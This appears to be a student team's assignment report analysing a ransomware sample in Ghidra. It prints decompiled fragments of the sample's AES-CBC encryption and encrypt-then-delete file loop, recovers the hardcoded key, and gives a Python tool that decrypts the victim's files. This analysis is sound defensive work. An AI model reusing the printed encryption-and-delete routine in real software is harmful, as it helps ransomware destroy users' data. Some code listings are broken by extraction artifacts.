# Assignment3 Team6 Report

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## 1 Analyze the malware's code

#### 1.1 Start

We used Ghidra to analyze the malware code. We found it difficult to find the code that implements the encryption function directly from the entry point, so we started at defined strings in the program. Then we found the AES encryption function AES\_Encrypt\_140007080, whose function call tree is shown in Figure 1:

```
S Function Call Trees: AES_Encrypt_140007080 - (mYSCpPoHAih)
Incoming Calls

f Incoming References - AES_Encrypt_140007080

Sf AES_Encrypt_140007080

Ff EncryptAndRenameFiles_140007590

Ff EncryptAndRenameFiles_140007590

Ff RansomwareProcessor_140008240

Ff RansomwareProcessor_140008240

Ff RansomwareProcessor_140008660

Ff FID_conflict: WinMainCRTStartup

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Ff FID_conflict: WinMainCRTStartup
```

Figure 1: Function call trees

#### 1.2 The AES encryption function

AES\_Encrypt\_140007080 is the AES encryption function.

```
Error_140007510(L"Error opening destination file!\n",DVar3);
15
        }
16
         else {
17
          printf((char *)L"Successfully created destination file, %s. \n",
18
                  output_path);
19
          local_e8 = 0x3e0;
20
           buffer = (undefined8 *)_malloc_base(0x3f0);
21
          if (buffer == (undefined8 *)0x0) {
22
             Error_140007510(L"Not enough memory to allocate file buffer. \n",
24
                              0x8007000e);
25
          else {
26
             printf((char *)L"%i file buffer has been allocated. \n",0x3f0);
27
             local_f0 = (uint *)0x0;
28
             local_f0 = (uint *)_malloc_base(4);
29
             bVar1 = false;
30
             do {
31
                          /* Write 16 bytes IV */
32
               BVar2 = WriteFile(hFile,IV_140086010,0x10,lpByteNum,(LPOVERLAPPED)0x0
33
      )
34
               if (BVar2 == 0) {
                 DVar3 = GetLastError();
                 Error_140007510(L"Error writing padding size.\n",DVar3);
37
                 goto LAB_1400073da;
39
               printf((char *)L"IV successfully added to file.\n");
40
               BVar2 = ReadFile(local_f8, buffer, 0x3f0, lpByteNum, (LPOVERLAPPED)0x0);
41
               if (BVar2 == 0) {
42
                 DVar3 = GetLastError();
                 Error_140007510(L"Error reading plaintext!\n",DVar3);
44
                 goto LAB_1400073da;
45
46
               if (lpByteNum[0] < 0x3f0) {</pre>
47
                 bVar1 = true;
49
               *local_f0 = lpByteNum[0];
50
                          /* Write Buffer Length */
               BVar2 = WriteFile(hFile,local_f0,4,lpByteNum,(LPOVERLAPPED)0x0);
               if (BVar2 == 0) {
                 DVar3 = GetLastError();
54
                 Error_140007510(L"Error writing padding size.\n",DVar3);
                 goto LAB_1400073da;
56
57
               printf((char *)L"Length of file buffer successfully added to file.\n"
58
      )
59
               printf((char *)L"Starting CBC encryption.\n");
60
                          /* AES encrypt */
61
               InitEncryption_140008790
                          ((longlong)context_array,0x140086000,
63
                           (undefined8 *) IV_140086010);
64
               StartEncryption_140008450((longlong)context_array,buffer,0x3f0);
65
               printf((char *)
66
                      L"Successfully encrypted file buffer. Writing to destination
67
      fi le...\n"
68
```

Listing 1: AES\_Encrypt\_140007080

#### AES-CBC-128

## 2 Determine what files are targeted

### EncryptAndRenameFiles\_140007590

```
do
2
        /* Exclude Directory */
        if ((local_10e8.dwFileAttributes & 0x10) == 0)
4
          CopyWPath_140007bc0(local_a68, 0x104, dir);
6
          input_addr = local_a68;
          ConcatWPath_140007b20(input_addr, 0x104, local_10e8.cFileName);
          GetModuleFileNameW((HMODULE)0x0, local_858, 0x104);
          thunk_FUN_14000c700((undefined8 *)local_e98,
                               (undefined8 *)local_10e8.cFileName, 6);
          /* Exclude "~en" */
          iVar2 = wcscmp(local_e98, L"~en");
          if (iVar2 != 0)
          {
            _Str2 = PathFindFileNameW(local_858);
            /* Exclude Malware Itelf */
            iVar2 = wcscmp(local_10e8.cFileName, _Str2);
18
            if (iVar2 != 0)
19
20
              CopyWPath_140007bc0(local_648, 0x104, dir);
21
               output_addr = local_648;
              ConcatWPath_140007b20(output_addr, 0x104, (short *)&DAT_140070fd8);
23
              ConcatWPath_140007b20(output_addr, 0x104, local_10e8.cFileName);
24
               AES_Encrypt_140007080(input_addr, output_addr);
25
              DeleteFileW(input_addr);
26
            }
27
          }
        }
        BVar3 = FindNextFileW(local_1110, &local_10e8);
      } while (BVar3 != 0);
```

Listing 2: EncryptAndRenameFiles\_140007590

#### RansomwareProcessor\_140008240

```
void RansomwareProcessor_140008240(void)
```

```
2 {
3     /*...*/
4     WCHAR dir[264];
5     /*...*/
6     printf((char *)L"Getting current directory. ");
7     GetCurrentDirectoryW(0x104, dir);
8     EncryptAndRenameFiles_140007590(dir);
9     Sleep(10000);
10     /*...*/
11 }
```

Listing 3: RansomwareProcessor\_140008240

## 3 Recover the AES key

As noted above, the memory address of the AES key is the second parameter of the InitEncryption 140008790 function:

Listing 4: call of InitEncryption\_140008790

Then we took a screenshot of the key in Ghidra, as shown in Figure 2. The AES key is '8d02e65e508308dd743f0dd4d31e484d'.

```
Key
BYTE_ARRAY_140086000 XREF[2]: 140000264(*),
AES_Encrypt_140007080:...

□ 140086000 8d 02 db[16]
e6 5e
50 83 ...
□ 140086000 [0] 8Dh, 2h, E6h, 5Eh,
□ 140086000 [4] 50h, 83h, 8h, DDh,
□ 140086008 [8] 74h, 3Fh, Dh, D4h,
□ 14008600c [12] D3h, 1Eh, 48h, 4Dh
```

Figure 2: the AES key in Ghidra

# 4 Decrypt Hank's files.

The tool to decrypt Hank's files is 'assinment3-team6-data/AES\_decrypt.py'. There are two important functions in the program.

### 4.1 Decrypt a block

Only keep the actual plaintext length portion, the rest is meaningless padding used during encryption.

```
def decrypt_block(ciphertext_block, key, iv, actual_plaintext_len):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_block = cipher.decrypt(ciphertext_block)
    return decrypted_block[:actual_plaintext_len]
```

Listing 5: decrypt block

### 4.2 Decrypt the file

```
def decrypt_file(input_path, output_path, key_hex):
2
      with open(input_path, 'rb') as f_in, open(output_path, 'wb') as f_out:
          while True:
4
              # Read the 16-byte IV
              iv = f_in.read(16) #0a0b0c0d0e0fa0b0c0d0e0f0aabbccdd
6
              # Read the 4-byte actual plaintext length
              block_len_bytes = f_in.read(4)
              actual_plaintext_len = struct.unpack('<I', block_len_bytes)[0]</pre>
              # Read the encrypted 1008-byte block
              ciphertext_block = f_in.read(BLOCK_SIZE)
14
              # AES Decrypt
              plaintext_block = decrypt_block(ciphertext_block, key, iv,
      actual_plaintext_len)
              f_out.write(plaintext_block)
17
18
```

Listing 6: decrypt\_file

To use this python script, please install pycryptodome.

```
1 pip3 install pycryptodome
```

Then replace the following line with YOUR directory of the files to be decrypted, and DO NOT add a '/' to the end of your directory.

```
FILE_DIRECTORY = "HanksBackup"
```

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## **Appendix**

# A C-style decompiled codes

All the C-style decompiled codes mentioned above can be found in the directory 'assinment3-team6-data/C-style decompiled code'.

In addition, there are some functions not mentioned above, but which are also valuable (because they are part of the function call tree), listed below:

### 1. entry.c

```
void entry(void)
{
    __security_init_cookie();
    RansomwareEntryPoint_14000afe0();
    return;
}
```

Listing 7: entry.c

## $2. \ \, Ransomware Entry Point.c$

Listing 8: Ransomware EntryPoint\_14000afe0.c

# B Decrypted files

Decrypted files can be found at:

https://github.com/Superior-Josh/FMPT-Assignment3/tree/main/HanksBackup\_decrypted

### B.1 Screenshot of the output

The successful output of the decryption tool is shown in Figure 3.

```
■ root@Thinkbook-Josh:~/FMPT-Assignment3# python3 AES_decrypt.py
Decryption successed: HanksBackup_decrypted/art.bmp
Decryption successed: HanksBackup_decrypted/8FKbHWWY.jpg
Decryption successed: HanksBackup_decrypted/cats.mp4
Decryption successed: HanksBackup_decrypted/my-journal - Copy.pdf
Decryption successed: HanksBackup_decrypted/company_party.png
Decryption successed: HanksBackup_decrypted/14.pdf
Decryption successed: HanksBackup_decrypted/my-journal - Copy.rtf
Decryption successed: HanksBackup_decrypted/art - Copy.bmp
Decryption successed: HanksBackup_decrypted/buy.jpg
Decryption successed: HanksBackup_decrypted/buy.jpg
Decryption successed: HanksBackup_decrypted/SampleVideo_1280x720_30mb.mp4
Decryption successed: HanksBackup_decrypted/balance-sheet.xlsx
Decryption successed: HanksBackup_decrypted/design4.jpg
○ root@Thinkbook-Josh:~/FMPT-Assignment3# ■
```

Figure 3: Decryption tool output

A decrypted example (SampleVideo\_1280×720\_30mb.mp4) is shown in Figure 4.



Figure 4: Decrypted file example